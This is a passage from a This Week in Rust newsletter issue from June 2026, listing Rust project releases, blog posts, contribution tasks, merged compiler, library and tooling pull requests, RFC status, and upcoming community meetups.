<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://kerkour.com/stdx">Announcing stdx, Rust's extended standard library</a></li>
<li><a href="https://medium.com/p/dc57a4631f8b?postPublishedType=initial">OmniScope 0.2.0 released:FFI static detection tool based on LLVM IR</a></li>
<li><a href="https://asterinas.github.io/2026/06/04/announcing-asterinas-0.18.0.html">Announcing Asterinas 0.18.0</a></li>
<li><a href="https://github.com/wilsonglasser/oryxis/releases/tag/v0.8.0">Oryxis SSH 0.8: split panes</a></li>
<li><a href="https://ratatui.rs/highlights/v0301/">Ratatui 0.30.1 is released - a Rust library for cooking up terminal user interfaces</a></li>
<li><a href="https://utoo.land/en/docs/blog/utoopack-intro">@utoo/pack: A Next-Generation Build Tool Based on Turbopack</a></li>
<li><a href="https://felipebalbi.github.io/pico-de-gallo/">Pico de Gallo - a USB-attached protocol bridge for developing embedded-hal drivers on your laptop</a></li>
<li><a href="https://kunobi.ninja/blog/kache-v0-5-0">kache 0.5.0: designing a correct compile-cache key</a></li>
<li><a href="https://www.veszelovszki.com/a/smb2/">Announcing smb2: a very fast pure-Rust SMB2/3 client</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://smallcultfollowing.com/babysteps/blog/2026/06/09/only-bounds/">Only Bounds</a></li>
<li><a href="https://wasmer.io/posts/ported-wasmer-backend-django-to-rust">Porting our Django backend to Rust improved the infra usage by 90%</a></li>
<li><a href="https://wubingzheng.github.io/en/Decimal-Crates-Comparison.html">Decimal Crates Comparison and Benchmark</a> | <a href="https://wubingzheng.github.io/zh/Decimal-Crates-Comparison.html">Chinese version</a></li>
<li><a href="https://teaql.io/blog/robot-task-board-showcase/">TeaQL Robot Task Board: a Rust TUI showcase for auditable business workflows</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=QFQkqFSg8Z4">Rayon is NOT for games - use this instead</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e05-veo/">Veo with Anders Hellerup Madsen and Gorm Casper</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li>[series] <a href="https://aibodh.com/posts/async-rust-chapter-1-hands-on-intro-to-async-rust/">Who Runs Your Rust Future? Hands-On Intro to Async Rust</a></li>
<li><a href="https://villagesql.com/blog/rust/">Extend MySQL Using Rust</a></li>
<li><a href="https://blog.sheerluck.dev/posts/learn-rust-smart-pointers-and-interior-mutability-by-building-git-commit-graph-viewer/">Learn Rust Smart Pointers and Interior Mutability by Building Git Commit Graph Viewer</a></li>
<li><a href="https://rustarians.com/heap-underflow/">heap underflow: classic algorithm solutions in idiomatic Rust, runnable in the browser</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/handewo/rustion">rustion</a>, a SSH bastion server.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1610">handewo</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>

<ul>
<li><a href="https://github.com/ansidium/cuda-oxide-windows/issues/1">cuda-oxide Windows fork - test the Windows MSVC release on more CUDA/Windows setups</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/38">openslate - add unit tests for slugify() in api/src/notes.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/70">openslate - add integration tests for notes CRUD in api/src/notes.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/96">openslate - add integration tests for auth flow in api/src/users.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/89">openslate - add unit tests for build_fts_query() in api/src/search.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/106">openslate - add integration tests for auth middleware and logout in api/src/auth.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/85">openslate - add integration tests for media endpoints (DB layer) in api/src/media.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/40">openslate - add unit tests for ext_from_mime() and filename_from_url() in api/src/media.rs</a></li>
<li><a href="https://github.com/satyakwok/reliakit/issues/91">reliakit - add a typed_csv example to the umbrella crate</a></li>
<li><a href="https://github.com/satyakwok/reliakit/issues/92">reliakit - implement CsvField for char</a></li>
<li><a href="https://github.com/satyakwok/reliakit/issues/107">reliakit - implement CsvField for the core::net address types</a></li>
<li><a href="https://github.com/satyakwok/reliakit/issues/95">reliakit - write a short "which resilience block do I use?" guide</a></li>
<li><a href="https://github.com/satyakwok/reliakit/issues/94">reliakit - extract a reusable rolling-window counter from RollingBreaker</a></li>
</ul>



<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>526 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-06-02..2026-06-09">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/157016">add <code>extern "tail"</code> calling convention</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/148820">add very basic "comptime" fn implementation</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157009">avoid <code>unreachable_code</code> on required return values</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157540">cleanup and optimize <code>render_impls</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156155">macros: report unbound metavariables directly</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157252">rewrite <code>rustc_span::symbol::Interner</code> to avoid double hashing</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155338">staticlib hide internal symbols</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/154742">add APIs for case folding to the standard library</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/154608">add <code>_value</code> API for number literals in proc-macro</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156119">further optimize <code>SliceIndex&lt;str&gt;</code> impl for <code>Range&lt;usize&gt;</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/143511">improve TLS codegen by marking the panic/init path as cold</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155607">perf: use <code>get_unchecked</code> for <code>TwoWaySearcher</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156840">stabilize <code>PathBuf::into_string</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156222">stabilize <code>Result::map_or_default</code> and <code>Option::map_or_default</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17081">strip CR from <code>cargo:token-from-stdout</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/157262">IXCRE: preserve sizedness bounds on type params belonging to the parent item</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157438">don't link <code>doc(hidden)</code> associated type projections</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157233">fix trait impl ordering</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157310">render <code>impl</code> restriction</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17122">support <code>iter_mut</code> in <code>ITER_NEXT_SLICE</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17173"><code>borrowed_box</code>: clean-up, improve suggestion message</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17144"><code>double_must_use</code>: make the lint machine-applicable in single-attribute case</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17174"><code>iter_cloned_collect</code>: split off the suggestion from the main message</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17037">add <code>manual_isolate_lowest_one</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17146">detect more ranges in <code>single_range_in_vec_init</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17131">do not trigger <code>inline_trait_bounds</code> on auto-derived code</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17031">extend <code>extra_unused_lifetimes</code> for spurious <code>for&lt;'a&gt;</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17141"><code>large_const_arrays</code>: check nested large arrays</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17023">fix <code>explicit_counter_loop</code> false positive when the counter is only modified inside the <code>else</code> block of <code>let...else</code> binding</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17130">fix <code>result_large_err</code> and <code>result_unit_err</code> not triggering on async functions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17181">fix <code>unused_async_trait_impl</code> suggestions with return statements</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17164">fix lints duplications in <code>unknown_attribute</code> and <code>renamed_builtin_attr</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17121">obtaining the metadata of a const pointer is a const operation</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17135">perf: avoid cloning associated items in <code>empty_line_after</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17168">perf: skip the <code>boxed_local</code> walk for functions without a Box parameter</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17137">perf: skip the <code>inline_always</code> relevance walk for items without the attribute</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22469"><code>feat(diagnostics)</code>: emit error for infer vars in non-inference contexts</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22505">adopt uv's AI policy</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22495">distribute windows builts with mimalloc</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22481">lower field defaults to <code>rustc_type_ir::Const</code>s</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22522"><code>RunnableKind::Test</code> should map to <code>project_json::RunnableKind::TestOne</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22523"><code>extract_function</code> misses <code>&amp;mut</code> for <code>container[i].mut_method()</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22520">do not emit a "type annotations needed" error on <code>include_bytes!()</code> where the array length cannot be inferred</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22519">no generate unused generic params in trait sign</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22524">parse OR pattern types</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22444">rename schema subItems with <code>sub_items</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22448">implement <code>rust-analyzer/evaluatePredicate</code> lsp extension</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22512">parse unnamed <code>enum</code> variants</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>A fairly noisy week, with a bunch of small regressions contained within,
leading to a slight increase on average in instruction counts. This week had a
lot of large rollups, likely due to some CI problems, but thankfully many of
those came with pre-triaged perf results by the time (thank you to those
triagers!). Roughly similar slight regressions for cycles and wall times across
the week.</p>
<p>Triage done by <strong>@simulacrum</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=4804ad7e93e1b31f4605b7083871d0d3d85a2afe&amp;end=f3ef3bd882dd24a275a60701a67c3bb330edd8c1&amp;absolute=false&amp;stat=instructions%3Au">4804ad7e..f3ef3bd8</a></p>
<p>2 Regressions, 0 Improvements, 10 Mixed; 5 of them in rollups
32 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/master/triage/2026/2026-06-08.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3808"><code>#![register_{attribute,lint}_tool]</code></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/155421">Document panic in <code>RangeInclusive::from(legacy::RangeInclusive)</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/116258">Tracking Issue for explicit-endian String::from_utf16</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/126769">Tracking Issue for <code>substr_range</code> and related methods</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/153990">Decide and document where stdarch intrinsics are allowed to diverge from asm behavior</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155750">Document that <code>ManuallyDrop</code>'s Box interaction has been fixed</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155739">Add temporary scope to assert_eq and assert_ne</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/153863">Clean up crate type names to fix dylib vs staticlib confusion</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156807">Add <code>T: PartialEq</code> bounds to derived <code>StructuralPartialEq</code> impls.</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157029">stabilize feature <code>float_algebraic</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/999">Deny todo!() in tidy</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/issues/300">Rust All Hands 2027</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a>,
<a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a> or
<a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3968">RFC for convenient, explicit closure capture using move($expr) expressions</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-06-10 - 2026-07-08 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-06-10 | Virtual (Girona, ES) | <a href="https://lu.ma/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/3bcnx1jb"><strong>Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-06-12 | Virtual (Kenya, KE) | <a href="https://luma.com/user/rustaceanskenya">RustaceansKenya</a><ul>
<li><a href="https://luma.com/vuxir9w8"><strong>RUST FOR CIVIC TECH</strong></a></li>
</ul>
</li>
<li>2026-06-16 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/314985751/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-06-17 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314000478/"><strong>Rust Study/Hack/Hang-out</strong></a></li>
</ul>
</li>
<li>2026-06-17 | Virtual (Girona, ES) | <a href="https://lu.ma/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ekws5nr4"><strong>Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314236370/"><strong>June, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/308455931/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-06-21 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314329044/"><strong>Rust Deep Learning: Third Sunday</strong></a></li>
</ul>
</li>
<li>2026-06-23 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254779/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-06-23 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/313767883/"><strong>Lunch &amp; Learn: What the heck are monads - and how do we fake them in Rust</strong></a></li>
</ul>
</li>
<li>2026-07-01 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/wqzhftyjckbcb/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/308455932/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris/events/">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/313345243/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-07-05 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095287/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-07-07 | Virtual (London, GB) | <a href="https://www.meetup.com/women-in-rust/events/">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315060981/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-06-10 | Köln, DE | <a href="https://www.meetup.com/rust-cologne-bonn/events/">Rust Cologne</a><ul>
<li><a href="https://www.meetup.com/rustcologne/events/315090338/"><strong>Rust in June: Speedy Rust</strong></a></li>
</ul>
</li>
<li>2026-06-10 | München, DE | <a href="https://www.meetup.com/rust-munich">Rust Munich</a><ul>
<li><a href="https://www.meetup.com/rust-munich/events/313791798/"><strong>Rust Munich 2026 / 2 - Hacking Evening</strong></a></li>
</ul>
</li>
<li>2026-06-11 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315088919/"><strong>Rust Berlin on location 🏳️‍🌈 - Edition 014</strong></a></li>
</ul>
</li>
<li>2026-06-11 | Switzerland, CH | <a href="https://www.posttenebraslab.ch/wiki/events/start">PostTenebrasLab</a><ul>
<li><a href="https://www.posttenebraslab.ch/wiki/events/monthly_meeting/rust_meetup"><strong>Rust Meetup Geneva</strong></a></li>
</ul>
</li>
<li>2026-06-12 - 2026-06-14 | Kraków, PL | <a href="https://rustmeet.eu/">Rustmeet</a><ul>
<li><a href="https://rustmeet.eu/"><strong>Rustmeet</strong></a></li>
</ul>
</li>
<li>2026-06-16 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313813937/"><strong>Interactive: Everything is Open Source</strong></a></li>
</ul>
</li>
<li>2026-06-16 | Milano, IT | <a href="https://www.meetup.com/rust-language-milano">Rust Language Milan</a><ul>
<li><a href="https://www.meetup.com/rust-language-milan/events/314766950/"><strong>Real-time planning in Rust: SolverForge &amp; SERIO</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/314965238/"><strong>Talk Night at Danske Commodities</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Barcelona, ES | <a href="https://www.meetup.com/bcnrust/events/">BcnRust</a><ul>
<li><a href="https://www.meetup.com/bcnrust/events/315094938/"><strong>21st BcnRust Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-19 | Dresden, DE | <a href="https://github.com/rust-dresden">Rust Dresden</a><ul>
<li><a href="https://pretix.eu/rust-dresden/on-location-2"><strong>Second Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315040676/"><strong>Rust meetup #86</strong></a></li>
</ul>
</li>
<li>2026-06-23 | Warsaw, PL | <a href="https://luma.com/rust.in.warsaw">Rust Warsaw</a><ul>
<li><a href="https://luma.com/djs7ntfx"><strong>Rust Warsaw Meetup: June 2026</strong></a></li>
</ul>
</li>
<li>2026-06-25 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/314396600/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Edinburgh, GB | <a href="https://www.meetup.com/rust-edi/events/">Rust and Friends</a><ul>
<li><a href="https://www.meetup.com/rust-and-friends/events/314941098/"><strong>Bevy, Bits, &amp; Cats (Rust July Talks)</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Enschede, OV, NL | <a href="https://www.meetup.com/dutch-rust-meetup/events/">Baseflow Tech Meetups</a><ul>
<li><a href="https://www.meetup.com/baseflow-tech-meetups/events/315099547/"><strong>AI Summit</strong></a></li>
</ul>
</li>
<li>2026-07-08 | Dublin, IE | <a href="https://www.meetup.com/rust-dublin/events/">Rust Dublin</a><ul>
<li><a href="https://www.meetup.com/rust-dublin/events/315150327/"><strong>Join us live and INPERSON for Rust 261</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-06-11 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696643/"><strong>Utah Rust June Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-11 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/314825006/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-06-11 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/313721899/"><strong>San Diego Rust June Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-06-16 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314989012/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-06-16 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/ghhwqtyjcjbvb/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-06-17 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314000478/"><strong>Rust Study/Hack/Hang-out</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314236370/"><strong>June, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-24 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjcjbgc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-06-24 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/314386080/"><strong>Rust LA: Rust-Based Constraint Solvers in 2D Sketching with Zoo Technologies</strong></a></li>
</ul>
</li>
<li>2026-06-25 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539326/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
